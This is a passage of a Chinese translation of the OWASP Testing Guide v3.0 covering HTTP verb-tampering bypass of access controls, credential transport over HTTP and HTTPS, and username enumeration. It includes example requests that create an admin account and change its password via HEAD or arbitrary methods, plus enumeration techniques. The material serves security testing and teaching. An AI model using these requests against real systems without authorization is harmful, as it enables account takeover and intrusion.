未 实 现 错 误 页 )。 如 果 服 务 器 响 应 该 要 求 , 它 就 对 这 个 问 题 存 在 漏 洞 。<br />

如 果 您 认 为 该 系 统 对 这 个 问 题 存 在 漏 洞 , 执 行 类 似 CSRF 攻 击 以 充 分 挖 掘 这 个 问 题 。:<br />

• FOOBAR /admin/createUser.php?member=myAdmin<br />

• JEFF /admin/changePw.php?member=myAdmin&passwd=foo123&confirm=foo123<br />

• CATS /admin/groupEdit.php?group=Admins&member=myAdmin&action=add<br />

112


OWASP 测 试 指 南 v3.0<br />

如 果 够 幸 运 , 使 用 以 上 三 个 命 令 —— 针 对 被 测 试 的 程 序 和 按 照 测 试 要 求 修 改 —— 能 创 建 一 个 新 的 已 分 配 密 码 的 管 理<br />

员 用 户 。<br />

测 试 绕 过 HEAD 访 问 控 制<br />

找 到 您 要 访 问 的 包 含 安 全 限 制 的 网 页 。 它 通 常 会 迫 使 302 重 定 向 到 登 录 页 或 迫 使 直 接 登 入 。 同 许 多 Web 应 用 程 序<br />

一 样 , 这 个 例 子 中 的 测 试 网 址 就 是 如 此 。 但 是 , 如 果 您 获 得 “200” 的 返 回 而 不 是 登 录 页 面 , 那 幺 就 可 能 绕 过 验 证<br />

得 到 的 授 权 。<br />

[rapidoffenseunit:~] vanderaj% nc www.example.com 80<br />

HEAD /admin HTTP/1.1<br />

Host: www.example.com<br />

HTTP/1.1 200 OK<br />

Date: Mon, 18 Aug 2008 22:44:11 GMT<br />

Server: Apache<br />

Set-Cookie: PHPSESSID=pKi...; path=/; HttpOnly<br />

Expires: Thu, 19 Nov 1981 08:52:00 GMT<br />

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0<br />

Pragma: no-cache<br />

Set-Cookie: adminOnlyCookie1=...; expires=Tue, 18-Aug-2009 22:44:31 GMT; domain=www.example.com<br />

Set-Cookie: adminOnlyCookie2=...; expires=Mon, 18-Aug-2008 22:54:31 GMT; domain=www.example.com<br />

Set-Cookie: adminOnlyCookie3=...; expires=Sun, 19-Aug-2007 22:44:30 GMT; domain=www.example.com<br />

Content-Language: EN<br />

Connection: close<br />

Content-Type: text/html; charset=ISO-8859-1<br />

如 果 你 得 到 一 个 “405 Method not allowed ” 或 “501 Method Unimplemented””””””, 这 说 明 你 的<br />

application/framework/language/system/firewall 在 正 常 工 作 。 如 果 返 回 ““““““200” 响 应 代 码 , 并 且 不 包 含 任 何 主 体<br />

信 息 , 很 可 能 是 应 用 程 序 在 没 有 认 证 或 授 权 的 情 况 下 处 理 了 该 请 求 , 因 此 需 要 进 行 进 一 步 测 试 。<br />

如 果 您 认 为 该 系 统 对 这 个 问 题 存 在 漏 洞 , 执 行 类 似 CSRF 攻 击 以 充 分 挖 掘 这 个 问 题 :<br />

• HEAD /admin/createUser.php?member=myAdmin<br />

• HEAD /admin/changePw.php?member=myAdmin&passwd=foo123&confirm=foo123<br />

• HEAD /admin/groupEdit.php?group=Admins&member=myAdmin&action=add<br />

如 果 够 幸 运 , 使 用 以 上 三 个 命 令 —— 针 对 被 测 试 的 程 序 和 按 照 测 试 要 求 修 改 —— 能 创 建 一 个 新 的 已 分 配 密 码 的 管 理<br />

员 用 户 。<br />

113


灰 盒 测 试 实 例<br />

灰 盒 测 试 与 黑 盒 测 试 采 用 相 同 测 试 步 骤 。<br />

参 考<br />

白 皮 书<br />

• RFC 2616: “Hypertext Transfer Protocol -- HTTP/1.1”<br />

• RFC 2109 and RFC 2965: “HTTP State Management Mechanism”<br />

• Jeremiah Grossman: "Cross Site Tracing (XST)" - http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf<br />

• Amit Klein: "XS(T) attack variants which can, in some cases, eliminate the need for TRACE" -<br />

http://www.securityfocus.com/archive/107/308433<br />

工 具<br />

• Arshan Dabirsiaghi: "Bypassing VBAAC with HTTP Verb Tampering" -<br />

http://www.aspectsecurity.com/documents/Bypassing_VBAAC_with_HTTP_Verb_Tampering.pdf<br />

• NetCat - http://www.vulnwatch.org/netcat<br />

4.4 认 证 测 试<br />

认 证 ( 希 腊 语 : αυθεντικός = 实 际 或 真 实 的 , 来 自 于 'authentes ' = 作 者 ) 是 一 种 建 立 或 确 认 某 事 ( 或 某 人 ) 是 否 正 宗<br />

的 行 为 , 也 就 是 说 , 宣 称 或 提 出 的 事 情 是 真 的 。 认 证 某 个 对 象 可 能 意 味 着 确 认 其 出 处 , 而 验 证 一 个 人 往 往 包 括 核 实<br />

她 的 身 份 。 验 证 取 决 于 一 个 或 多 个 认 证 因 素 。 在 计 算 机 安 全 中 , 认 证 是 试 图 验 证 交 流 方 发 送 人 的 数 字 身 份 的 过 程 。<br />

一 个 常 见 的 例 子 就 是 登 录 过 程 。 测 试 验 证 架 构 意 味 着 了 解 认 证 过 程 如 何 工 作 , 如 何 使 用 那 些 信 息 绕 过 验 证 机 制 。<br />

4.4.1 加 密 信 道 证 书 传 输 (OWASP-AT-001)<br />

在 这 里 , 测 试 员 会 试 图 了 解 用 户 输 入 web 表 单 中 的 数 据 , 例 如 , 为 了 登 录 到 一 个 网 站 而 输 入 的 数 据 , 是 否 使 用 了<br />

安 全 协 议 传 输 , 以 免 受 到 攻 击 。<br />

4.4.2 用 户 枚 举 测 试 (OWASP-AT-002)<br />

这 项 测 试 的 范 围 是 为 了 验 证 是 否 有 可 能 通 过 与 应 用 的 认 证 机 制 互 动 而 收 集 一 套 有 效 的 用 户 。 这 项 测 试 将 是 有 益 于 暴<br />

力 测 试 。 通 过 这 种 测 试 我 们 验 证 是 否 通 过 一 个 有 效 的 用 户 名 就 可 以 找 到 相 应 的 密 码 。<br />

4.4.3 可 猜 解 用 户 帐 户 猜 测 ( 遍 历 ) 测 试 (OWASP-AT-003)<br />

在 这 里 我 们 测 试 是 否 有 默 认 的 用 户 帐 户 或 可 以 猜 测 的 用 户 名 / 密 码 组 合 ( 遍 历 测 试 )<br />

114


OWASP 测 试 指 南 v3.0<br />

4.4.4 暴 力 测 试 (OWASP-AT-004)<br />

当 遍 历 攻 击 失 败 , 测 试 者 可 以 尝 试 使 用 暴 力 方 法 获 得 验 证 。 暴 力 测 试 是 不 容 易 完 成 的 测 试 , 因 为 需 要 时 间 并 且 可 能<br />

锁 定 测 试 者 。<br />

4.4.5 认 证 架 构 绕 过 测 试 (OWASP-AT-005)<br />

其 它 被 动 测 试 方 法 企 图 绕 过 身 份 的 认 识 验 证 模 式 , 因 为 他 们 认 为 并 非 所 有 的 应 用 程 序 的 资 源 都 能 得 到 充 分 的 保 护 。<br />

测 试 者 能 够 在 没 有 认 证 的 情 况 下 访 问 这 些 资 源 。<br />

4.4.6 记 住 密 码 和 密 码 重 置 弱 点 测 试 (OWASP-AT-006)<br />

在 这 里 , 我 们 测 试 应 用 如 何 管 理 “ 忘 记 密 码 ” 过 程 。 我 们 还 检 查 应 用 是 否 允 许 用 户 在 浏 览 器 中 存 储 密 码 ( “ 记 住 密 码 ”<br />

功 能 )。<br />

4.4.7 注 销 和 浏 览 器 的 缓 存 管 理 测 试 (OWASP-AT-007)<br />

在 这 里 , 我 们 检 查 注 销 和 缓 存 功 能 得 到 正 确 实 现 。<br />

4.4.8 CAPTCHA 测 试 (OWASP-AT-008)<br />

CAPTCHA( “ 全 自 动 区 分 计 算 机 和 人 类 的 图 灵 测 试 ” ) 是 一 种 许 多 Web 的 应 用 程 序 使 用 的 挑 战 响 应 测 试 , 以 确 保 反<br />

应 不 是 由 计 算 机 生 成 。 即 使 产 生 的 captcha 是 牢 不 可 破 的 , 其 执 行 经 常 遭 受 各 种 攻 击 。 本 节 将 帮 助 您 确 定 这 些 攻 击<br />

的 类 型 。<br />

4.4.9 Testing Multiple Factors Authentication 多 因 素 身 份 验 证 测 试 (OWASP-AT-009)<br />

多 因 素 身 份 验 证 意 味 着 测 试 了 以 下 的 情 况 : 一 次 性 密 码 (OTP) 所 生 成 的 验 证 码 , 加 密 设 备 , 如 USB 验 证 码 或 配 备<br />

了 X.509 证 书 的 智 能 卡 , 通 过 SMS 发 送 的 随 机 一 次 性 密 码 , 只 有 合 法 用 户 知 道 的 个 人 信 息 [OUTOFWALLET ] 。<br />

4.4.10 竞 态 争 条 件 测 试 (OWASP-AT-010)<br />

竞 态 条 件 是 一 个 缺 陷 。 当 行 动 的 时 间 影 响 了 其 它 行 动 时 , 它 会 产 生 意 想 不 到 的 结 果 。 例 如 : 一 个 多 线 程 应 用 程 序 对<br />

同 一 数 据 进 行 操 作 时 。 就 其 性 质 而 言 , 竞 态 条 件 很 难 测 试 。<br />

4.4.1 加 密 信 道 证 书 传 输 (OWASP-AT-001)<br />

概 述<br />

测 试 证 书 传 输 意 味 着 确 认 用 户 的 认 证 数 据 是 否 通 过 加 密 信 道 传 输 , 以 避 免 受 到 恶 意 用 户 截 获 。 分 析 的 重 点 仅 仅 在 于<br />

了 解 从 web 浏 览 器 到 服 务 器 间 数 据 是 否 采 用 明 码 传 输 , 或 者 Web 应 用 程 序 是 否 采 取 适 当 的 安 全 措 施 , 使 用 了 像<br />

HTTPS 等 协 议 。 HTTPS 协 议 是 建 立 在 TLS / SSL 基 础 上 对 数 据 传 输 加 密 , 并 确 保 用 户 正 在 发 送 到 目 的 网 站 。 显 然 , 流<br />

量 加 密 的 事 实 并 不 一 定 意 味 着 这 是 完 全 安 全 的 。 安 全 也 取 决 于 所 使 用 的 加 密 算 法 和 应 用 程 序 正 在 使 用 的 钥 的 鲁 棒<br />

115


性 , 但 是 这 个 问 题 将 不 会 在 本 节 中 讲 述 。 关 于 测 试 TLS/SSL 信 道 安 全 性 的 更 详 细 讨 论 可 以 参 阅 SSL – TLS 测 试 章 节 。<br />

在 这 里 , 测 试 只 是 试 图 了 解 用 户 输 入 web 表 单 中 的 数 据 , 例 如 , 为 了 登 录 到 一 个 网 站 而 输 入 的 数 据 , 是 否 使 用 了<br />

安 全 协 议 传 输 , 以 免 受 到 攻 击 。 要 了 解 这 一 点 我 们 需 要 很 多 实 例 说 明 。<br />

问 题 描 述<br />

当 今 这 个 问 题 最 常 见 的 例 子 就 是 web 应 用 的 登 录 页 。 测 试 者 应 确 认 用 户 证 书 是 通 过 加 密 信 道 传 送 的 。 为 了 登 录 到 一<br />

个 网 站 , 通 常 情 况 下 用 户 必 须 填 写 一 份 简 单 的 表 格 , 这 份 表 格 使 用 POST 方 法 传 输 插 入 的 数 据 。 我 们 很 难 知 道 这 份<br />

数 据 是 使 用 非 安 全 的 HTTP 协 议 传 输 还 是 使 用 数 据 加 密 的 HTTPs 传 输 。 更 复 杂 的 是 有 可 能 网 站 的 登 录 页 面 是 通 过<br />

HTTP 访 问 的 ( 使 我 们 相 信 , 传 输 不 安 全 ) , 但 它 实 际 上 通 过 HTTPS 传 输 数 据 。 这 项 测 试 是 为 了 确 保 攻 击 者 无 法 通<br />

过 简 单 的 嗅 探 工 具 嗅 探 网 络 而 收 集 到 敏 感 信 息 。<br />

黑 盒 测 试 实 例<br />

在 下 面 的 例 子 我 们 将 使 用 WebScarab 获 取 网 络 包 的 头 信 息 并 对 其 进 行 检 查 。 您 可 以 使 用 任 何 你 喜 欢 的 Web 代 理 。<br />

案 例 研 究 : POST 方 法 发 送 HTTP 数 据<br />

假 设 登 录 页 面 就 是 一 个 还 包 含 用 户 , 密 码 和 提 交 按 钮 的 表 单 。 使 用 这 个 表 单 通 过 验 证 并 进 入 应 用 系 统 。 如 果 我 们 使<br />

用 WebScarab 查 看 请 求 的 头 信 息 , 我 们 可 以 得 到 下 面 信 息 :<br />

POST http://www.example.com/AuthenticationServlet HTTP/1.1<br />

Host: www.example.com<br />

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) Gecko/20080404<br />

Accept: text/xml,application/xml,application/xhtml+xml<br />

Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3<br />

Accept-Encoding: gzip,deflate<br />

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7<br />

Keep-Alive: 300<br />

Connection: keep-alive<br />

Referer: http://www.example.com/index.jsp<br />

Cookie: JSESSIONID=LVrRRQQXgwyWpW7QMnS49vtW1yBdqn98CGlkP4jTvVCGdyPkmn3S!<br />

Content-Type: application/x-www-form-urlencoded<br />

Content-length: 64<br />

delegated_service=218&User=test&Pass=test&Submit=SUBMIT<br />

在 这 个 案 例 中 , 测 试 者 知 道 POST 使 用 HTTP 发 送 数 据 到 www.example.com/AuthenticationServlet。 在 这 种 情 况 下 ,<br />

数 据 传 输 未 加 密 , 这 就 使 得 恶 意 用 户 能 使 用 像 Wireshark 这 样 简 单 的 工 具 网 络 从 而 读 取 用 户 名 和 密 码 。<br />

案 例 研 究 : POST 方 法 发 送 HTTPS 数 据<br />

116


OWASP 测 试 指 南 v3.0<br />

假 设 web 应 用 使 用 HTTPS 协 议 加 密 所 发 送 的 数 据 ( 至 少 加 密 与 认 证 有 关 的 数 据 )。 这 种 情 况 下 , 试 图 进 入 登 录 页 并<br />

进 行 认 证 ,POST 请 求 的 头 信 息 和 下 面 信 息 类 似 :<br />

POST https://www.example.com:443/cgi-bin/login.cgi HTTP/1.1<br />

Host: www.example.com<br />

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) Gecko/20080404<br />

Accept: text/xml,application/xml,application/xhtml+xml,text/html<br />

Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3<br />

Accept-Encoding: gzip,deflate<br />

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7<br />

Keep-Alive: 300<br />

Connection: keep-alive<br />

Referer: https://www.example.com/cgi-bin/login.cgi<br />

Cookie: language=English;<br />

Content-Type: application/x-www-form-urlencoded<br />

Content-length: 50<br />

Command=Login&User=test&Pass=test<br />

我 们 可 以 看 到 , 请 求 是 通 过 HTTPS 协 议 发 送 到 www.example.com:443/cgi-bin/login.cgi。 这 就 确 保 了 数 据 是 通 过 加 密<br />

渠 道 传 送 并 确 保 其 它 人 不 能 读 取 。<br />

案 例 研 究 : POST 方 法 在 HTTP 访 问 的 网 页 发 送 HTTPS 数 据<br />

现 在 , 假 设 有 一 个 通 过 HTTP 访 问 的 网 页 , 同 时 假 设 只 有 从 认 证 表 单 中 发 送 来 的 数 据 才 通 过 HTTPS 传 送 。 这 意 味 着<br />

数 据 是 通 过 加 密 的 安 全 方 式 传 送 。 例 如 , 当 我 们 在 一 个 大 公 司 的 门 户 网 站 , 这 个 网 站 提 供 不 需 要 验 证 的 各 种 公 开 信<br />

息 和 服 务 , 但 同 时 还 提 供 通 过 主 页 登 录 进 入 的 私 营 部 分 。 当 我 们 试 图 登 录 时 , 这 一 请 求 的 头 信 息 就 如 下 面 案 例 所<br />

示 :<br />

POST https://www.example.com:443/login.do HTTP/1.1<br />

Host: www.example.com<br />

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) Gecko/20080404<br />

Accept: text/xml,application/xml,application/xhtml+xml,text/html<br />

Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3<br />

Accept-Encoding: gzip,deflate<br />

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7<br />

Keep-Alive: 300<br />

Connection: keep-alive<br />

Referer: http://www.example.com/homepage.do<br />

Cookie: SERVTIMSESSIONID=s2JyLkvDJ9ZhX3yr5BJ3DFLkdphH0QNSJ3VQB6pLhjkW6F<br />

Content-Type: application/x-www-form-urlencoded<br />

Content-length: 45<br />

117


User=test&Pass=test&portal=ExamplePortal<br />

我 们 可 以 看 到 , 请 求 是 通 过 HTTPS 传 送 给 www.example.com:443/login.do 。 但 是 如 果 我 们 查 看 头 中 的 Referer 字 段<br />

( 我 们 访 问 的 上 一 页 面 ), 传 送 给 的 却 是 通 过 HTTP 访 问 的 www.example.com / homepage.do 。 因 此 , 在 这 种 情 况<br />

下 , 浏 览 器 窗 口 没 有 锁 也 就 是 我 们 没 有 使 用 安 全 连 接 。 而 事 实 上 我 们 是 通 过 HTTPS 传 送 的 数 据 。 这 就 保 证 了 其 它 人<br />

不 能 读 取 正 在 发 送 的 数 据 。<br />

案 例 研 究 : GET 方 法 发 送 HTTPS 数 据<br />

在 这 最 后 一 个 例 子 , 假 设 应 用 程 序 使 用 GET 方 法 传 输 数 据 。 这 种 方 法 不 应 该 用 于 传 输 敏 感 数 据 的 表 单 , 如 用 户 名 和<br />

密 码 , 因 为 他 们 明 文 显 示 在 URL 中 , 而 这 需 要 一 整 套 的 安 全 问 题 。 所 以 这 个 例 子 纯 粹 是 示 范 。 但 在 现 实 中 , 我 们 强<br />

烈 建 议 使 用 POST 方 法 。 这 是 因 为 当 使 用 GET 方 法 , 它 请 求 的 URL 很 容 易 在 服 务 器 日 志 中 看 到 , 从 而 导 致 敏 感 数 据<br />

泄 漏 。<br />

GET https://www.example.com/success.html?user=test&pass=test HTTP/1.1<br />

Host: www.example.com<br />

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) Gecko/20080404<br />

Accept: text/xml,application/xml,application/xhtml+xml,text/html<br />

Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3<br />

Accept-Encoding: gzip,deflate<br />

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7<br />

Keep-Alive: 300<br />

Connection: keep-alive<br />

Referer: https://www.example.com/form.html<br />

If-Modified-Since: Mon, 30 Jun 2008 07:55:11 GMT<br />

If-None-Match: "43a01-5b-4868915f"<br />

您 可 以 看 到 数 据 在 URL 中 以 明 文 的 形 式 传 送 , 而 不 是 像 之 前 的 信 息 正 文 传 递 。 但 是 , 我 们 必 须 考 虑 到 的 TLS / SSL 是<br />

一 种 5 级 协 议 , 比 HTTP 低 一 个 等 级 。 因 此 整 个 HTTP 包 仍 然 是 加 密 的 而 且 攻 击 者 不 能 读 取 这 个 URL。 因 为 URL 中 包<br />

含 的 信 息 可 能 储 存 在 很 多 服 务 器 中 , 如 代 理 服 务 器 和 Web 服 务 器 , 从 而 导 致 泄 漏 用 户 证 书 的 隐 私 , 所 以 在 这 些 案<br />

例 中 使 用 GET 方 法 不 是 一 个 好 办 法 。<br />

灰 盒 测 试 实 例<br />

试 图 从 应 用 的 开 发 者 处 了 解 他 们 是 否 考 虑 到 HTTP 和 HTTPS 协 议 的 差 别 和 了 解 他 们 为 什 幺 应 该 使 用 HTTPS 传 输 敏 感<br />

信 息 。<br />

然 后 , 和 他 们 一 起 检 查 是 否 每 一 个 敏 感 信 息 的 传 输 都 使 用 了 HTTPS, 例 如 在 登 录 页 , 以 防 止 未 经 授 权 的 用 户 可 以 读<br />

取 数 据 。<br />

118


OWASP 测 试 指 南 v3.0<br />

参 考<br />

白 皮 书<br />

工 具<br />

• HTTP/1.1: Security Considerations - http://www.w3.org/Protocols/rfc2616/rfc2616-sec15.html<br />

• WebScarab<br />

4.4.2 用 户 枚 举 测 试 (OWASP-AT-002)<br />

概 述<br />

这 项 测 试 的 范 围 是 为 了 验 证 是 否 有 可 能 通 过 与 应 用 的 认 证 机 制 互 动 而 收 集 到 一 套 有 效 的 用 户 。 这 项 测 试 将 是 有 益 于<br />

蛮 力 测 试 。 通 过 这 种 测 试 我 们 验 证 是 否 通 过 一 个 有 效 的 用 户 名 , 就 可 以 找 到 相 应 的 密 码 。 通 常 情 况 下 , 当 用 户 名 在<br />

系 统 中 存 在 时 , 由 于 错 误 配 置 或 设 计 本 身 的 原 因 导 致 应 用 程 序 泄 露 相 关 信 息 。 例 如 , 有 时 , 当 我 们 提 交 错 误 证 书<br />

时 , 我 们 收 到 一 条 说 明 用 户 名 存 在 或 密 码 错 误 的 信 息 。 如 果 攻 击 者 得 到 这 种 信 息 就 可 以 利 用 他 获 得 一 系 列 系 统 用 户<br />

名 。 这 种 信 息 还 可 以 用 来 攻 击 web 应 用 程 序 。 例 如 , 使 用 暴 力 破 解 或 默 认 用 户 名 / 密 码 攻 击 。<br />

问 题 描 述<br />

测 试 者 应 该 通 过 与 应 用 程 序 的 认 证 机 制 交 互 , 来 了 解 发 送 特 殊 请 求 时 是 否 会 造 成 应 用 程 序 返 回 不 同 结 果 。 之 所 以 存<br />

在 这 个 问 题 是 因 为 当 我 们 提 供 一 个 有 效 的 用 户 名 和 提 供 无 效 的 用 户 名 时 , web 应 用 或 web 服 务 器 会 提 示 不 同 的 信<br />

息 。<br />

在 某 些 情 况 下 , 提 示 信 息 会 指 出 由 于 使 用 了 无 效 用 户 名 或 无 效 密 码 , 导 致 提 供 的 证 书 错 误 。 有 时 我 们 可 以 通 过 发 送<br />

用 户 名 和 空 密 码 列 举 现 存 的 所 有 用 户 。<br />

黑 盒 测 试 实 例<br />

在 黑 盒 测 试 中 , 我 们 并 不 知 道 具 体 的 应 用 程 序 , 用 户 名 , 应 用 逻 辑 和 登 录 页 面 的 错 误 信 息 , 或 者 是 重 获 密 码 设 施 。<br />

如 果 应 用 程 序 存 在 漏 洞 , 我 们 将 直 接 或 间 接 地 得 到 反 馈 信 息 , 能 揭 露 一 些 有 助 于 枚 举 用 户 的 信 息 。<br />

HTTP 响 应 信 息<br />

有 效 的 用 户 / 正 确 密 码 测 试<br />

当 你 提 交 有 效 ID 和 有 效 密 码 时 , 记 录 服 务 器 反 馈 信 息 。<br />

预 期 结 果<br />

使 用 WebScarab, 注 意 成 功 认 证 获 得 的 信 息 (HTTP 200 回 应 , 回 应 的 长 度 ).<br />

119


无 效 的 用 户 / 错 误 密 码 测 试<br />

尝 试 输 入 有 效 用 户 名 和 错 误 密 码 , 记 录 应 用 产 生 的 报 错 信 息 。<br />

预 期 结 果<br />

我 们 将 在 浏 览 器 中 得 到 类 似 下 面 的 信 息 :<br />

或 者 类 似 如 下 :<br />

任 何 揭 示 用 户 存 在 的 信 息 类 似 于 :<br />

登 录 用 户 foo: 密 码 无 效<br />

使 用 WebScarab , 注 意 由 不 成 功 认 证 所 获 得 的 信 息 ( HTTP 200 回 应 , 回 应 的 长 度 ) 。<br />

不 存 在 的 用 户 名 测 试<br />

现 在 , 测 试 应 尝 试 插 入 一 个 无 效 的 用 户 ID 和 一 个 错 误 的 密 码 , 并 记 录 服 务 器 回 答 ( 你 必 须 确 认 用 户 名 在 应 用 中 是 无<br />

效 的 ) 。 记 录 的 错 误 信 息 和 服 务 器 的 答 案 。<br />

预 期 结 果<br />

如 果 我 们 输 入 无 效 的 用 户 ID , 我 们 可 以 收 到 一 条 消 息 类 似 于 :<br />

或 类 似 下 列 信 息 :<br />

用 户 foo 登 录 失 败 : 无 效 的 帐 户<br />

120


OWASP 测 试 指 南 v3.0<br />

一 般 来 说 , 对 不 同 的 错 误 请 求 , 应 用 应 返 回 同 样 的 和 同 样 长 短 的 错 误 信 息 。 如 果 您 发 现 返 回 的 信 息 各 不 相 同 , 你 应<br />

该 调 查 和 找 出 导 致 2 个 返 回 结 果 差 异 的 根 本 原 因 。 例 如 :<br />

• 客 户 的 要 求 : 有 效 的 用 户 / 密 码 错 误 - “ 服 务 器 回 答 : ' 密 码 不 正 确 '<br />

• 客 户 端 请 求 : 错 误 的 用 户 / 密 码 错 误 - “ 服 务 器 回 答 : ' 用 户 名 不 存 在 '<br />

通 过 上 述 答 复 , 用 户 就 能 知 道 第 一 次 请 求 的 是 一 个 有 效 的 用 户 名 。 因 此 , 通 过 试 用 一 系 列 用 户 名 并 观 察 返 回 信 息 ,<br />

我 们 就 能 了 解 应 用 程 序 。<br />

通 过 第 二 条 服 务 器 响 应 , 我 们 同 样 可 以 知 道 所 持 有 的 用 户 名 不 存 在 。 因 此 , 可 以 以 同 样 的 方 法 了 解 应 用 程 序 , 并 通<br />

过 查 看 服 务 器 响 应 创 建 一 系 列 有 效 用 户 ID 列 表 。<br />

其 它 方 式 枚 举 用 户<br />

我 们 可 以 用 几 种 方 式 枚 举 用 户 , 如 :<br />

分 析 登 录 页 收 到 的 错 误 代 码<br />

我 们 可 以 分 析 一 些 Web 应 用 程 序 返 回 的 某 些 特 定 错 误 代 码 或 信 息 。<br />

分 析 网 址 和 网 址 复 位 向<br />

例 如 :<br />

http://www.foo.com/err.jsp?User=baduser&Error=0<br />

http://www.foo.com/err.jsp?User=gooduser&Error=2<br />

从 上 面 例 子 中 可 以 看 出 , 当 使 用 一 个 用 户 ID 和 密 码 登 录 web 应 用 时 ,URL 中 有 说 明 出 现 错 误 的 信 息 。 在 第 一 个 例<br />

子 中 使 用 的 是 错 误 的 用 户 ID 和 错 误 密 码 , 而 在 第 二 个 例 子 中 使 用 的 是 正 确 的 用 户 名 和 错 误 密 码 。 我 们 因 此 找 到 一 个<br />

有 效 的 用 户 ID。<br />

URI 探 测<br />

有 时 候 ,Web 服 务 器 收 到 对 现 有 目 录 或 还 未 存 在 目 录 的 请 求 时 , 它 返 回 不 同 的 结 果 。 例 如 , 在 一 些 门 户 网 站 每 个 用<br />

户 与 一 个 目 录 项 相 关 联 。 如 果 我 们 尝 试 访 问 现 有 的 目 录 , 我 们 可 以 得 到 一 个 web 服 务 器 错 误 。 我 们 收 到 的 一 个 非 常<br />

常 见 的 Web 服 务 器 错 误 是 :<br />

403 Forbidden error code<br />

以 及<br />

404 Not found error code<br />

例 :<br />

121


http://www.foo.com/account1 - we receive from web server: 403 Forbidden<br />

http://www.foo.com/account2 - we receive from web server: 404 file Not Found<br />

第 一 种 情 况 , 存 在 用 户 名 但 不 能 查 看 网 页 , 第 二 种 情 况 用 户 名 “ account2 ” 不 存 在 。 通 过 收 集 这 些 信 息 , 我 们 就 能 列 举<br />

出 用 户 名 。<br />

网 页 标 题 分 析<br />

我 们 可 以 在 网 页 的 标 题 得 到 有 用 的 信 息 。 如 果 是 关 于 用 户 名 和 密 码 的 问 题 , 我 们 可 能 通 过 网 页 标 题 得 到 具 体 的 错 误<br />

代 码 或 信 息 。 例 如 , 如 果 不 能 通 过 应 用 程 序 的 认 证 , 我 们 就 会 看 到 类 似 下 面 的 网 页 标 题 :<br />

无 效 用 户<br />

无 效 的 身 份 验 证<br />

分 析 从 恢 复 功 能 中 获 得 的 信 息<br />

当 我 们 使 用 恢 复 功 能 时 , 存 在 漏 洞 的 应 用 程 序 将 返 回 一 条 信 息 表 明 用 户 名 是 否 存 在 。<br />

例 如 , 类 似 以 下 信 息 :<br />

无 效 的 用 户 名 :E-mail 地 址 不 存 在 或 无 法 找 到 该 用 户<br />

无 效 的 用 户 名 : 你 的 恢 复 密 码 已 成 功 发 送 友 好 的 404 错 误 信 息<br />

当 我 们 所 要 求 的 用 户 名 在 目 录 中 不 存 在 时 , 我 们 并 不 会 每 次 都 收 到 404 错 误 代 码 。 我 们 可 能 收 到 带 有 图 像 的 “202<br />

OK” 信 息 。 在 这 种 情 况 下 , 我 们 可 以 假 设 当 收 到 这 种 特 殊 图 像 时 , 用 户 名 就 不 存 在 。 这 种 逻 辑 可 以 适 用 于 其 它 的<br />

Web 服 务 器 响 应 ; 这 种 手 段 有 助 于 分 析 web 服 务 器 和 web 应 用 信 息 。<br />

猜 解 用 户<br />

在 某 些 情 况 下 , 用 户 ID 是 根 据 管 理 员 或 公 司 的 特 殊 政 策 创 建 的 。 例 如 , 我 们 可 以 使 用 通 过 序 列 号 创 建 的 用 户 ID 查<br />

看 用 户 :<br />

CN000100<br />

CN000101<br />

….<br />

有 时 , 用 户 名 是 根 据 REALM 别 名 加 序 列 号 创 建 的 :<br />

R1001 – user 001 for REALM1<br />

R2001 – user 001 for REALM2<br />

122


OWASP 测 试 指 南 v3.0<br />

创 建 用 户 ID 的 其 它 可 能 是 与 信 用 卡 号 码 相 关 , 或 是 使 用 一 种 模 式 的 一 系 列 数 字 。 在 上 面 的 例 子 中 , 我 们 可 以 建 立 简<br />

单 的 组 成 用 户 ID 的 shell 脚 本 并 使 用 像 wget 这 样 的 工 具 提 交 请 求 , 通 过 自 动 查 询 Web 找 到 有 效 用 户 ID。 要 创 建 一<br />

个 脚 本 , 我 们 也 可 以 使 用 Perl 和 CURL。<br />

同 样 , 通 过 LDAP 查 询 获 得 的 信 息 或 从 Google 收 集 的 来 自 特 定 域 名 的 信 息 , 我 们 可 以 猜 测 到 用 户 名 。 通 过 特 定 的 查<br />

询 或 简 单 的 shell 脚 本 或 工 具 ,Google 能 用 来 帮 助 找 到 域 用 户 。<br />

其 它 猜 测 用 户 ID 的 信 息 详 情 见 下 节 , 4.5.3 猜 测 ( 词 典 ) 用 户 帐 户 测 试 。<br />

注 意 : 列 举 用 户 帐 户 过 程 中 , 在 完 成 预 定 义 次 数 的 失 败 探 测 后 ( 基 于 应 用 政 策 ), 你 将 有 账 户 被 锁 定 的 危 险 。 此<br />

外 , 有 时 应 用 程 序 防 火 墙 的 动 态 规 则 可 能 禁 用 你 的 IP 地 址 。<br />

灰 盒 测 试 实 例<br />

认 证 错 误 信 息 测 试<br />

测 试 的 目 的 是 确 认 应 用 会 以 同 样 的 方 式 对 产 生 失 败 认 证 的 每 一 个 客 户 端 请 求 返 回 信 息 。 针 对 此 问 题 , 黑 盒 测 试 和 灰<br />

盒 测 试 在 基 于 分 析 web 应 用 的 信 息 和 错 误 代 码 方 面 都 有 相 同 的 理 念 。<br />

预 期 结 果<br />

应 用 应 该 以 同 样 的 方 式 为 每 个 失 败 的 身 份 验 证 回 应 。<br />

例 如 :<br />

提 交 的 证 书 无 效<br />

参 考<br />

• Marco Mella, Sun Java Access & Identity Manager Users enumeration: http://www.aboutsecurity.net<br />

工 具<br />

• Username Enumeration Vulnerabilities: http://www.gnucitizen.org/blog/username-enumeration-vulnerabilities<br />

• WebScarab: OWASP_WebScarab_Project<br />

• CURL: http://curl.haxx.se/<br />

• PERL: http://www.perl.org<br />

• Sun Java Access & Identity Manager users enumeration tool: http://www.aboutsecurity.net<br />

123


